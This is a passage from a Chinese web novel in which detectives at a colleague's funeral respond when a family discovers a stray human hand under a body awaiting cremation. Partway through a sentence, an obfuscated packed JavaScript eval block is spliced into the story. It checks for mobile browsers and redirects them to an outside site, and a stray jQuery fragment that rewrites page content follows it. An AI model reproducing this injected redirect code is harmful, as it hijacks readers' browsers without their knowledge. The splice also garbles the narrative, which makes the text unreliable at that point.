这明明是别人的故事,冉季听完却觉得自己的心里空了一块,他发现他没法代入自己,如果自己是吴业阳,应该怎么办,努力向组织争取,还是接受现实,再找其他的事情做?
好像这两条路都不容易。
“那……然后呢?”冉季又问。
“然后,他接受了处分,回到家里,每天都很颓废,毕竟,他过去的人生一直都在往‘成为一名优秀的人民警察’这个方向在努力,也算是实现过了……可他做不了警察了,除此之外,他从没有想过自己人生还有另一种可能。”
冉季太懂这种感受,因为他也想象不出来,不做警察的自己能做什么,该做什么。
“他的状态很差,每天泡在酒里,几乎没有清醒的时候……他继续这样下去,说不定会死,所以,叶锦书找到吴业阳,问吴业阳要不要做他的线人,用另一种方式,为警方出力。”
像是压在胸口的大石头落了地,冉季长舒了一口气,同时暗暗在心底感叹叶锦书的机智,这的确是冉季代入到吴业阳的身份里能够接受的选项。
“他答应了?”
“嗯, ‘公安弃犬’的身份挺有用的,毕竟在任何人看来,都是组织辜负了他,他心怀怨恨,走上歧路才对。要结交道上的人,最简单的办法就是经营相关的产业,于是叶锦书出钱,让吴业阳开了一家酒吧,叫旧唱片……”
“什么?旧唱片?”冉季大惊,昨晚他才从旧唱片酒吧的门口接到醉醺醺的叶锦书,捋了捋人物关系,他不由得惊呼出声,“所以旧唱片酒吧,是叶队开的?”
“严格意义上来说,他只出了钱,酒吧的实际经营者是吴业阳,旧唱片能变成现在这样,和叶锦书也没多大的关系。”
“但是,是叶队给了他重活一次的希望吧……如果是我,我也会答应的……”
沈确苦笑:“所以,他才觉得你们像吧……可惜,”沈确的目光暗淡下来,声音也压得更低了,“他现在,应该后悔了吧……”
两人都没有再说话,空旷的露天停车场格外安静。
急促的脚步声从远处传来,冉季的注意力被吸引了过去,就见几人跑下长阶,其中一人举着手机正朝那头喊:“我们马上过来!人控制住没有?你看好了,千万不能再让他碰爷爷!”
他们跑下长阶,不是朝门口的方向去,而是朝着道路的另一头殡仪馆的深处跑去。
旁边正好有个指示牌,冉季抬眼看过去,发现那条路通往的方向是火化车间。
一个男人也从火化车间的方向冲了过来,似乎是来迎接这群人的,还没跑近,那男人便开口询问:“报警没有?”
“报了!我们接到电话马上就报警了,你跑过来干什么?你不帮小琦一起把那个人控制住,人跑了怎么办……”
一听到“报警”,冉季的刑警雷达又响了,和沈确对视了一眼,还不待沈确发话,冉季已经拔腿冲了上去,朝他们喊:“你们等等!”
听到冉季的呼声,几人都停下脚步,回过头看他。
沈确叹了一口气,有点共情叶锦书了,虽然身心俱疲,但也只好跟了上去。
“你们好!我们是滨海分局刑侦队的警员,”冉季跑近,掏出自己的警察证亮给他们看,“我刚才听到你们说要报警,发生了什么事?”
见竟然有现成的刑警,刚咋咋呼呼打电话那人立马抓住冉季,控诉道:“警察同志!这你们一定要管!我们家老爷子刚要推进火化间的时候,那推车抖了一下,结果从老爷子的后背抖出来了只人手!我们立刻就叫停了!把那工作人员控制住——你说这是什么事?从哪里来的人手?要不是我们发现了,推进去一起烧了,到时候我们家老爷子的骨灰里,不就还要掺着陌生人的骨灰吗?殡仪馆到底在搞什么巫术?你们一定要严查啊!”
听完这人的控诉,两个警察的脸色都变了——警察的关注点和家属的关注点自然不同,和封建迷信无关,有不明尸块,就意味着有未知的受害人。
“走!带我们去现场看看!”冉季忙说。
*
两人跟着几个壮汉来到火化车间,那工作人员已经被一个看上去像是大学生的男孩给控制住了,他看上去很害怕,也完全没有挣扎。
现场更多的是女眷,几个女眷堵着闻声赶来的其他工作人员,不允许他们接触甚至交流,另几个则看守着家中长辈的遗体,防止其他工作人员来动手脚。
见家里的男丁来了,纷纷询问报警情况。
“警察来了!这两位是滨海分局的刑警同志……”男人说着用手扒开人群,要引两人去看老先生的遗体。
挤在一起的众人让出一条道来,沈确和冉季走近,一眼便看到压在老先生遗体下的那只手。
毫无疑问,那确确实实是只人手。
“不关我的事!我真的什么都不知道!我只是负责把遗体从告别厅推到火化间,让家属最后送别,再把遗体推进火化舱,我也不知道里面为什么会有人手啊!”刚已经吓懵了的工作人员像是终于回神,听到警察来了,突然开口,情绪激动地解释了起来。
“你少胡说八道!你刚才明明还想掩盖,说我们看错了,急着把我曾祖推进去!”那大学生立马反驳。
女眷们纷纷附和,众人七嘴八舌,眼看又乱了起来,沈确偏头低声吩咐冉季:“现场随时会乱,我们两个控制不住,派出所来之前不能让他们闹起来,你打电话,把松鼠和雪明叫下来。”
*
6号告别厅里没有播放哀乐,而是旧唱片酒吧同款的蓝调,这是吴业阳生前喜欢的音乐,他还在当警察的时候曾经开玩笑地跟叶锦书说过,如果他在行动中光荣牺牲,他不希望大家为他的死而悲伤,来参加他葬礼的时候都别穿黑衣服,别搞死气沉沉那一套,人死后三天灵魂都还在肉|体旁边,他想最后一次见大家,都是大家最好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16240053|168741||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看的样子,音乐也不要播放哀乐,难听死了,放点蓝调,最好要让每一个路过告别厅的人,都知道他有品位。
叶锦书都记得,可他又恨自己竟然记得,这种不吉利的话,忘掉多好。
只有一点,叶锦书没能办到,那时候吴业阳说,他的寿衣要穿警服,可他现在没法再穿那身警服了,叶锦书只能退而求其次——吴业阳的衣柜里还挂着洗得干干净净,熨平后罩上防尘罩,被悉心保存起来的公大制服。
就算不是警察了,他也永远是公大毕业生。
苏萌萌看到冰棺里的吴业阳后就哭得更厉害了,她哭得几乎站不稳,见她哭得这么厉害,吴母一边劝她,一边也被勾得落下泪来,最后一发不可收拾,两个人抱头痛哭起来。
张淞栩和郭雪明在一旁扶着苏萌萌,也跟着红了眼眶,冰棺里躺着的是曾和他们并肩作战过的师兄,他是滨海射击比赛记录保持者,是连现在的叶锦书和沈确也无法超越的存在。
旧唱片开业后,叶锦书多次带他们去捧场照顾生意,好几次大案组的团建都定在旧唱片,他们也看着吴业阳有了新身份,开始了新生活,却没有想过,原来他从未离开过最危险的前线。
这一切都发生在叶锦书的眼前,但他却视而不见,只一个人默默的站在另一边,静静注视着冰棺里的吴业阳,好像周围发生的事情都和他没有关系。
袁家兄弟站在他几步之外,和他隔着一段安全距离,袁君最懂看人脸色,叶锦书现在这个不哭不闹的状态才最可怕,他可不想招惹此刻的叶锦书。
只是告别厅里人太少了,叶公子斥巨资选了最大的告别厅,铺满了鲜花,摆满了花圈,挽联字字泣血,可排场再大,送行的人也寥寥无几,这不该是英雄退场时的画面。
张淞栩口袋里的手机震动了起来,他掏出手机,背过身朝角落走去,接通电话后声音也压得很低:“喂,小季,你们怎么还不上……什么?嗯、嗯,好!我们马上下来!”
张淞栩挂断电话,一转身就迎上了郭雪明的视线,张淞栩朝门口的方向偏了偏头,郭雪明立刻会意,扫了苏萌萌一眼,苏萌萌现在的状态肯定没法工作,不过叶锦书和吴家父母在这里,把她留在这里应该没有问题,便朝着门口走去。
张淞栩犹豫了一下,还是快步走到叶锦书身边,低声向他汇报:“老大,有家属在火化间发现……”
“闭嘴。”叶锦书吐出两个字打断了张淞栩,但这两个字几乎听不出他的情绪。
看着眼前的叶锦书,张淞栩继续说下去也不是,转身就走也不是,刚才说过出口的内容,的确足够向叶锦书传达“自己说的是正事”的信息,他没理由听也不听就让自己闭嘴。
“不关我的事,你要工作就自己去,别来烦我。”叶锦书面无表情地递来了一个不算台阶的台阶,但张淞栩还是只能下了,点头道:“那,老大你看着点萌萌,我和雪明先下去了。”